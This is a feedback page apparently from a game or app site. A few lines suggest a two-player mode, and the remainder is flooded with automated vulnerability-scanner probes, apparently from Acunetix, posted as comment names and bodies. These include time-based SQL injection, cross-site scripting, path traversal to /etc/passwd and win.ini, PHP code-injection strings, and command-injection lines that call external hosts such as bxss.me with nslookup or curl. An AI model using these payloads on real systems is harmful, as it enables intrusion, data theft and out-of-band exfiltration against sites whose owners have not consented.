Feedback

Pro!! by Jtbui20 - 156 months ago

This is epic pro app!!
I would like to make a dual ship!!!

• BeyPokéDig

  If you mean cooperation two player mode, then that's the best idea I have read here so far. Agreed.

• tan99

  Heck yeah...

• CrazyDeathling

  It's a cool idea. How about even a dog fight.

• DevilishDB

  AWESOME IDEA!!!!

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1nees8iplO

• 1BvQHqq4v6O

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  ${9999923+10000169}

• Anonymous

  1

• ${10000026+9999184}

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  response.write(9395087*9006061)

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  /etc/shells

• WfxYANoW

  1

• WfxYANoW

  ../1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  '+response.write(9395087*9006061)+'

• WfxYANoW

  "+response.write(9395087*9006061)+"

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  echo zrydmt$()\ bdgtpr\nz^xyu||a #' &echo zrydmt$()\ bdgtpr\nz^xyu||a #|" &echo zrydmt$()\ bdgtpr\nz^xyu||a #

• WfxYANoW

  bxss.me

• WfxYANoW

  &echo tuwtgx$()\ txsibs\nz^xyu||a #' &echo tuwtgx$()\ txsibs\nz^xyu||a #|" &echo tuwtgx$()\ txsibs\nz^xyu||a #

• WfxYANoW

  1&echo cuxkdx$()\ ichxox\nz^xyu||a #' &echo cuxkdx$()\ ichxox\nz^xyu||a #|" &echo cuxkdx$()\ ichxox\nz^xyu||a #

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  |echo jzhxou$()\ mrjzyj\nz^xyu||a #' |echo jzhxou$()\ mrjzyj\nz^xyu||a #|" |echo jzhxou$()\ mrjzyj\nz^xyu||a #

• response.write(9768892*9194792)

  1

• WfxYANoW

  1|echo ylbtpt$()\ zubfpc\nz^xyu||a #' |echo ylbtpt$()\ zubfpc\nz^xyu||a #|" |echo ylbtpt$()\ zubfpc\nz^xyu||a #

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  (nslookup -q=cname hitkngjwxouuv38960.bxss.me||curl hitkngjwxouuv38960.bxss.me))

• '+response.write(9768892*9194792)+'

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  $(nslookup -q=cname hitalostjcefza6c04.bxss.me||curl hitalostjcefza6c04.bxss.me)

• file:///etc/passwd

  1

• "+response.write(9768892*9194792)+"

  1

• /etc/shells

  1

• WfxYANoW

  E1fPt6aS

• WfxYANoW

  Sm9xlSsG: n05OQKSH

• WfxYANoW

  &nslookup -q=cname hitjxukcxmufg48507.bxss.me&'\"`0&nslookup -q=cname hitjxukcxmufg48507.bxss.me&`'

• c:/windows/win.ini

  1

• WfxYANoW

  1

• bxss.me

  1

• ../WfxYANoW

  1

• Tno1NlNTWTE=

  1

• WfxYANoW

  1&n992757=v963972

• kULclEy4

  1

• WfxYANoW&n989186=v916437

  1

• WfxYANoW

  &(nslookup -q=cname hitqgehoswezifd61f.bxss.me||curl hitqgehoswezifd61f.bxss.me)&'\"`0&(nslookup -q=cname hitqgehoswezifd61f.bxss.me||curl hitqgehoswezifd61f.bxss.me)&`'

• WfxYANoW

  |(nslookup -q=cname hituobskpxnjq7b599.bxss.me||curl hituobskpxnjq7b599.bxss.me)

• oQvdZ6VU: iLzjWJih

  1

• WfxYANoW

  )

• WfxYANoW

  1

• WfxYANoW

  `(nslookup -q=cname hitfylltyxckz6870d.bxss.me||curl hitfylltyxckz6870d.bxss.me)`

• WfxYANoW

  ;(nslookup -q=cname hitxfzlzqbkwr9ea3a.bxss.me||curl hitxfzlzqbkwr9ea3a.bxss.me)|(nslookup -q=cname hitxfzlzqbkwr9ea3a.bxss.me||curl hitxfzlzqbkwr9ea3a.bxss.me)&(nslookup -q=cname hitxfzlzqbkwr9ea3a.bxss.me||curl hitxfzlzqbkwr9ea3a.bxss.me)

• WfxYANoW

  '.gethostbyname(lc('hiteq'.'ojztbasj86145.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(75).chr(108).chr(76).'

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  '"()

• WfxYANoW

  ".gethostbyname(lc("hitlc"."blemboige4ca2.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(80).chr(121).chr(86)."

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitbxsrrlijxw1ce23.bxss.me||curl${IFS}hitbxsrrlijxw1ce23.bxss.me)

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  1'&&sleep(27*1000)*hzlhba&&'

• )

  1

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hityukplmpdac9c60f.bxss.me||curl${IFS}hityukplmpdac9c60f.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hityukplmpdac9c60f.bxss.me||curl${IFS}hityukplmpdac9c60f.bxss.me)&`'

• !(()&&!|*|*|

  1

• WfxYANoW

  1

• WfxYANoW

  1"&&sleep(27*1000)*siybtj&&"

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  1'||sleep(27*1000)*zhtjfn||'

• WfxYANoW

  gethostbyname(lc('hitnr'.'tinzcziib4962.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(89).chr(116).chr(75)

• WfxYANoW

  1"||sleep(27*1000)*mvqddz||"

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  1

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  ";print(md5(31337));$a="

• '"()

  1

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW'&&sleep(27*1000)*liokog&&'

  1

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW"&&sleep(27*1000)*atoxaf&&"

  1

• WfxYANoW'||sleep(27*1000)*ytqaza||'

  1

• WfxYANoW

  xfs.bxss.me

• WfxYANoW"||sleep(27*1000)*qlssar||"

  1

• WfxYANoW

  '"

• WfxYANoW

  <!--

• ';print(md5(31337));$a='

  1

• xfs.bxss.me

  1

• WfxYANoW

  1'"()&%<zzz><ScRiPt >GfTh(9048)</ScRiPt>

• '"

  1

• <!--

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  '"()&%<zzz><ScRiPt >GfTh(9628)</ScRiPt>

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(97).concat(79).concat(102).concat(88)+(require"socket" Socket.gethostbyname("hitat"+"qbbylxio43065.bxss.me.")[3].to_s)+"

• ";print(md5(31337));$a="

  1

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(118).concat(70).concat(102).concat(89)+(require'socket' Socket.gethostbyname('hitia'+'nfoxhggybdf89.bxss.me.')[3].to_s)+'

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(114).concat(76).concat(105).concat(70)+(require'socket' Socket.gethostbyname('hitbn'+'lgcadvhedabc0.bxss.me.')[3].to_s)

• WfxYANoW

  19963685

• ${@print(md5(31337))}

  1

• ${@print(md5(31337))}\

  1

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  comment

• '.print(md5(31337)).'

  1

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  bfg10424＜s1﹥s2ʺs3ʹhjl10424

• WfxYANoW

  comment

• WfxYANoW

  comment/.

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• comment

  1

• comment

  1

• comment/.

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >GfTh(9921)</ScRiPt>

• WfxYANoW

  1<WUU3HP>DJAMM[!+!]</WUU3HP>

• WfxYANoW

  1<script>GfTh(9956)</script>

• WfxYANoW

  1<script>GfTh(9857)</script>9857

• WfxYANoW

  1WggvK3jj

• WfxYANoW

  1<ScR<ScRiPt>IpT>GfTh(9943)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >GfTh(9627)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9391></ScRiPt>

• WfxYANoW

  1<ScRiPt >GfTh(9354)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=GfTh(9285)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9099'>

• WfxYANoW

  1<body onload=GfTh(9259)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=GfTh(9733)>

• WfxYANoW

  1<img src=xyz OnErRor=GfTh(9796)>

• WfxYANoW

  1<img/src=">" onerror=alert(9085)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%47%66%54%68%289618%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\GfTh(9587)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;GfTh(9118)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=GfTh(9864)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(GfTh(9542))}

• WfxYANoW

  1frW00 <ScRiPt >GfTh(9740)</ScRiPt>

• WfxYANoW

  1

• WfxYANoW

  -1 OR 2+954-954-1=0+0+0+1 --

• WfxYANoW

  1<WHGNNB>FT2IS[!+!]</WHGNNB>

• WfxYANoW

  -1 OR 2+359-359-1=0+0+0+1

• WfxYANoW

  1<ifRAme sRc=9714.com></IfRamE>

• WfxYANoW

  -1' OR 2+779-779-1=0+0+0+1 --

• WfxYANoW

  -1' OR 2+945-945-1=0+0+0+1 or '8VSKZBIJ'='

• WfxYANoW

  1<aMbjuRe x=9496>

• WfxYANoW

  -1" OR 2+679-679-1=0+0+0+1 --

• WfxYANoW

  1<img sRc='http://attacker-9080/log.php?

• WfxYANoW

  1<a86zmT8<

• WfxYANoW'"()&%<zzz><ScRiPt >GfTh(9495)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >GfTh(9524)</ScRiPt>

  1

• WfxYANoW9586861

  1

• bfg2991＜s1﹥s2ʺs3ʹhjl2991

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >GfTh(9485)</ScRiPt>

  1

• WfxYANoW<WNX8US>GL2U9[!+!]</WNX8US>

  1

• WfxYANoW<script>GfTh(9310)</script>

  1

• WfxYANoW<script>GfTh(9459)</script>9459

  1

• WfxYANoW<ScRiPt >GfTh(9407)</ScRiPt>

  1

• WfxYANoW<ScRiPt >GfTh(9034)</ScRiPt>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<body onload=GfTh(9125)>

  1

• WfxYANoW<img src=xyz OnErRor=GfTh(9491)>

  1

• WfxYANoW<img/src=">" onerror=alert(9668)>

  1

• WfxYANoW\u003CScRiPt\GfTh(9307)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;GfTh(9445)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=GfTh(9539)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW}body{zzz:Expre/**/SSion(GfTh(9094))}

  1

• WfxYANoWck28F <ScRiPt >GfTh(9889)</ScRiPt>

  1

• WfxYANoW<W0X404>2OQ9W[!+!]</W0X404>

  1

• WfxYANoW<ifRAme sRc=9072.com></IfRamE>

  1

• WfxYANoW<am3m8aL x=9777>

  1

• WfxYANoW<img sRc='http://attacker-9048/log.php?

  1

• WfxYANoW<avQ6wyQ<

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1n2CVmDTS'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 950=(SELECT 950 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 926=(SELECT 926 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 522=(SELECT 522 FROM PG_SLEEP(15))--

• WfxYANoW

  1OsKpPy0W' OR 584=(SELECT 584 FROM PG_SLEEP(15))--

• WfxYANoW

  1Bksf83px') OR 594=(SELECT 594 FROM PG_SLEEP(15))--

• WfxYANoW

  1FYrH0aKv')) OR 967=(SELECT 967 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@thhrt

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWRte0NpVe

  1

• WfxYANoW

  1

• -1 OR 2+685-685-1=0+0+0+1 --

  1

• -1 OR 2+123-123-1=0+0+0+1

  1

• -1' OR 2+697-697-1=0+0+0+1 --

  1

• -1' OR 2+991-991-1=0+0+0+1 or '4ZWfFtZn'='

  1

• -1" OR 2+941-941-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWhmV3sE2U'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@xtbZp

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• tbmrfmyp

  1

• fjockfhu

  response.write(9723078*9298105)

• xgolqued

  1

• fjockfhu

  '+response.write(9723078*9298105)+'

• qmudehgs

  set|set&set

• xgolqued

  1

• fjockfhu

  "+response.write(9723078*9298105)+"

• qmudehgs

  $(nslookup 8RBvnI9e)

• xgolqued

  el5lYfS4

• response.write(9671902*9301041)

  1

• qmudehgs

  &nslookup LuhBrfH1&'\"`0&nslookup LuhBrfH1&`'

• xgolqued

  -1 OR 2+296-296-1=0+0+0+1 --

• ysmnlxoi

  8KMrK74r

• kgfhxfoj

  ../../../../../../../../../../etc/passwd

• '+response.write(9671902*9301041)+'

  1

• set|set&set

  1

• xgolqued

  -1 OR 2+647-647-1=0+0+0+1

• 29SCU8Ql

  1

• kgfhxfoj

  ../../../../../../../../../../../../../../../proc/version

• "+response.write(9671902*9301041)+"

  1

• wrvacqbj

  1

• $(nslookup hztPO2Z1)

  1

• xgolqued

  -1' OR 2+762-762-1=0+0+0+1 --

• hxfjqvyc

  ${9999935+10000074}

• kgfhxfoj

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• pvimahan

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• &nslookup EgS9HcfE&'\"`0&nslookup EgS9HcfE&`'

  1

• xgolqued

  -1' OR 2+108-108-1=0+0+0+1 or 'cpVhYUxu'='

• ${9999453+9999943}

  1

• kgfhxfoj

  ../../../../../../../../../../etc/passwd.jpg

• ZkYyMU1YUmo=

  1

• pvimahan

  1some_inexistent_file_with_long_name.jpg

• ffurklxa

  1&n910940=v994725

• xgolqued

  -1" OR 2+429-429-1=0+0+0+1 --

• muavluog

  )

• kgfhxfoj

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• pvimahan

  Http://testasp.vulnweb.com/t/fit.txt

• xgolqued

  if(now()=sysdate(),sleep(8),0)/*'XOR(if(now()=sysdate(),sleep(8),0))OR'"XOR(if(now()=sysdate(),sleep(8),0))OR"*/

• muavluog

  !(()&&!|*|*|

• kgfhxfoj

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• vsdskesv

  '"()

• pvimahan

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• gpsulbak

  ;print(md5(acunetix_wvs_security_test));

• wrvacqbj

  1

• ybybjvkp&n904135=v948800

  1

• xgolqued

  (select(0)from(select(sleep(8)))v)/*'+(select(0)from(select(sleep(8)))v)+'"+(select(0)from(select(sleep(8)))v)+"*/

• muavluog

  ^(#$!@#$)(()))******

• kgfhxfoj

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• pvimahan

  testasp.vulnweb.com

• gpsulbak

  ';print(md5(acunetix_wvs_security_test));$a='

• Anonymous

  1

• xgolqued

  -1; waitfor delay '0:0:8' --

• )

  1

• kgfhxfoj

  /etc/passwd

• '"()

  1

• gpsulbak

  ";print(md5(acunetix_wvs_security_test));$a="

• tcecdsbd

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• xgolqued

  -1); waitfor delay '0:0:12' --

• !(()&&!|*|*|

  1

• kgfhxfoj

  %2fetc%2fpasswd

• pllisuyw

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• gpsulbak

  ${@print(md5(acunetix_wvs_security_test))}

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• xgolqued

  1 waitfor delay '0:0:12' --

• ^(#$!@#$)(()))******

  1

• kgfhxfoj

  /.././.././.././.././.././.././.././../etc/./passwd%00

• pllisuyw

  comment

• Http://testasp.vulnweb.com/t/fit.txt

  1

• gpsulbak

  ${@print(md5(acunetix_wvs_security_test))}\

• vpyykqeq

  http://hitMbMhXV9uFR.bxss.me/

• cgnbuhjn

  1

• xgolqued

  pB3j0UCF'; waitfor delay '0:0:12' --

• avqpjmpf

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• kgfhxfoj

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• pllisuyw

  comment

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• ;print(md5(acunetix_wvs_security_test));

  1

• cgnbuhjn

  1'"

• http://hit1S4pelxfkO.bxss.me/

  1

• xgolqued

  -1;select pg_sleep(12); --

• kgfhxfoj

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• pllisuyw

  comment/.

• testasp.vulnweb.com

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• cgnbuhjn

  \

• eudfjwej

  /www.vulnweb.com

• xgolqued

  -1);select pg_sleep(12); --

• hgnwincd

  '"

• pllisuyw

  1

• fmghvijm

  1'"()&%<acx><ScRiPt >KfTX(9588)</ScRiPt>

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• /www.vulnweb.com

  1

• xgolqued

  -1));select pg_sleep(12); --

• hgnwincd

  <!--

• comment

  1

• kgfhxfoj

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• ${@print(md5(acunetix_wvs_security_test))}

  1

• cgnbuhjn

  @@fY2j0

• xgolqued

  7DPIxgi0';select pg_sleep(4); --

• '"

  1

• comment

  1

• kgfhxfoj

  file:///etc/passwd

• fmghvijm

  '"()&%<acx><ScRiPt >KfTX(9381)</ScRiPt>

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• cgnbuhjn

  JyI=

• xgolqued

  uQXjAX0R';select pg_sleep(0); --

• <!--

  1

• comment/.

  1

• kgfhxfoj

  /\../\../\../\../\../\../\../etc/passwd

• xgolqued

  6uhpBqT0');select pg_sleep(4); --

• kgfhxfoj

  WEB-INF/web.xml

• fmghvijm

  1_9441

• xgolqued

  xdkMv3un');select pg_sleep(0); --

• kgfhxfoj

  /WEB-INF/web.xml

• cgnbuhjn

  (select convert(int,CHAR(65)))

• xgolqued

  qQY5olab'));select pg_sleep(4); --

• kgfhxfoj

  WEB-INF\web.xml

• fmghvijm

  acu8083＜s1﹥s2ʺs3ʹuca8083

• cgnbuhjn

  1

• xgolqued

  K92KK3MM'));select pg_sleep(8); --

• ../../../../../../../../../../etc/passwd

  1

• 1'"

  1

• xgolqued

  1

• xgolqued

  1

• \

  1

• D4BpcUiR

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• fmghvijm

  {{9999684*9999651}}

• -1 OR 2+105-105-1=0+0+0+1 --

  1

• @@J1DnI

  1

• JyI=

  1

• -1 OR 2+943-943-1=0+0+0+1

  1

• fmghvijm

  1<ScRiPt >KfTX(9713)</ScRiPt>

• -1' OR 2+83-83-1=0+0+0+1 --

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• -1' OR 2+558-558-1=0+0+0+1 or 'dRFq07zq'='

  1

• fmghvijm

  1<WFZFG7>NODOH[!+!]</WFZFG7>

• (select convert(int,CHAR(65)))

  1

• /etc/passwd

  1

• -1" OR 2+522-522-1=0+0+0+1 --

  1

• %2fetc%2fpasswd

  1

• fmghvijm

  1<script>KfTX(9287)</script>

• 1 waitfor delay '0:0:16' --

  1

• fmghvijm

  1<ScR<ScRiPt>IpT>KfTX(9743)</sCr<ScRiPt>IpT>

• pP7hQpLl'; waitfor delay '0:0:16' --

  1

• Q2jgW5sr';select pg_sleep(5); --

  1

• fmghvijm

  1<ScRiPt >KfTX(9633)</ScRiPt>

• a80e1vY8');select pg_sleep(5); --

  1

• I2XA125h'));select pg_sleep(5); --

  1

• file:///etc/passwd

  1

• fmghvijm

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9559></ScRiPt>

• /\../\../\../\../\../\../\../etc/passwd

  1

• WEB-INF/web.xml

  1

• fmghvijm

  1<ScRiPt >KfTX(9155)</ScRiPt>

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• fmghvijm

  1<video><source onerror="javascript:KfTX(9910)">

• fmghvijm

  1<isindex type=image src=1 onerror=KfTX(9510)>

• fmghvijm

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9149'>

• fmghvijm

  1<body onload=KfTX(9205)>

• fmghvijm

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=KfTX(9332)>

• fmghvijm

  1<img src=xyz OnErRor=KfTX(9819)>

• fmghvijm

  1<img/src=">" onerror=alert(9752)>

• fmghvijm

  %31%3C%53%63%52%69%50%74%20%3E%4B%66%54%58%289923%29%3C%2F%73%43%72%69%70%54%3E

• fmghvijm

  1\u003CScRiPt\KfTX(9465)\u003C/sCripT\u003E

• fmghvijm

  1&lt;ScRiPt&gt;KfTX(9391)&lt;/sCripT&gt;

• fmghvijm

  1<input autofocus onfocus=KfTX(9217)>

• fmghvijm

  <a HrEF=http://www.vulnweb.com></a>

• fmghvijm

  <a HrEF=jaVaScRiPT:>

• fmghvijm

  [url=http://www.vulnweb.com][/url]

• fmghvijm

  1<img<!-- --> src=x onerror=alert(9996);//><!-- -->

• fmghvijm

  1}body{acu:Expre/**/SSion(KfTX(9896))}

• fmghvijm

  1<% contenteditable onresize=KfTX(9232)>

• fmghvijm

  1_8Gmm0 <ScRiPt >KfTX(9697)</ScRiPt>

• fmghvijm

  1<WZH2D4>E3OO4[!+!]</WZH2D4>

• fmghvijm

  1<ifRAme sRc=9388.com></IfRamE>

• fmghvijm

  1<mTVsTS x=9290>

• fmghvijm

  1<img sRc='http://attacker-9751/log.php?

• fmghvijm'"()&%<acx><ScRiPt >KfTX(9436)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >KfTX(9016)</ScRiPt>

  1

• fmghvijm_9095

  1

• acu2745＜s1﹥s2ʺs3ʹuca2745

  1

• {{9999683*9999691}}

  1

• fmghvijm<ScRiPt >KfTX(9966)</ScRiPt>

  1

• fmghvijm<WXV8VZ>EZYYU[!+!]</WXV8VZ>

  1

• fmghvijm<script>KfTX(9521)</script>

  1

• fmghvijm<ScRiPt >KfTX(9229)</ScRiPt>

  1

• fmghvijm<ScRiPt >KfTX(9166)</ScRiPt>

  1

• fmghvijm<body onload=KfTX(9340)>

  1

• fmghvijm<img src=xyz OnErRor=KfTX(9536)>

  1

• fmghvijm<img/src=">" onerror=alert(9912)>

  1

• fmghvijm\u003CScRiPt\KfTX(9569)\u003C/sCripT\u003E

  1

• fmghvijm&lt;ScRiPt&gt;KfTX(9180)&lt;/sCripT&gt;

  1

• fmghvijm<input autofocus onfocus=KfTX(9466)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• fmghvijm}body{acu:Expre/**/SSion(KfTX(9500))}

  1

• fmghvijm<% contenteditable onresize=KfTX(9650)>

  1

• fmghvijm_ELQb2 <ScRiPt >KfTX(9348)</ScRiPt>

  1

• fmghvijm<WQVL9U>ZQSUB[!+!]</WQVL9U>

  1

• fmghvijm<ifRAme sRc=9348.com></IfRamE>

  1

• fmghvijm<4rzpsj x=9878>

  1

• fmghvijm<img sRc='http://attacker-9732/log.php?

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  10Hhiz348

• dwUQQUrL

  1

• dwUQQUrL

  -1 OR 2+256-256-1=0+0+0+1 --

• dwUQQUrL

  -1 OR 2+700-700-1=0+0+0+1

• dwUQQUrL

  -1' OR 2+410-410-1=0+0+0+1 --

• dwUQQUrL

  -1' OR 2+959-959-1=0+0+0+1 or 'ox4788qU'='

• dwUQQUrL

  -1" OR 2+939-939-1=0+0+0+1 --

• dwUQQUrL

  1*if(now()=sysdate(),sleep(15),0)

• dwUQQUrL

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dwUQQUrL

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• dwUQQUrL

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• dwUQQUrL

  1-1; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1); waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 waitfor delay '0:0:15' --

• dwUQQUrL

  19qQz2O7G'; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 OR 719=(SELECT 719 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1) OR 583=(SELECT 583 FROM PG_SLEEP(15))--

• dwUQQUrL

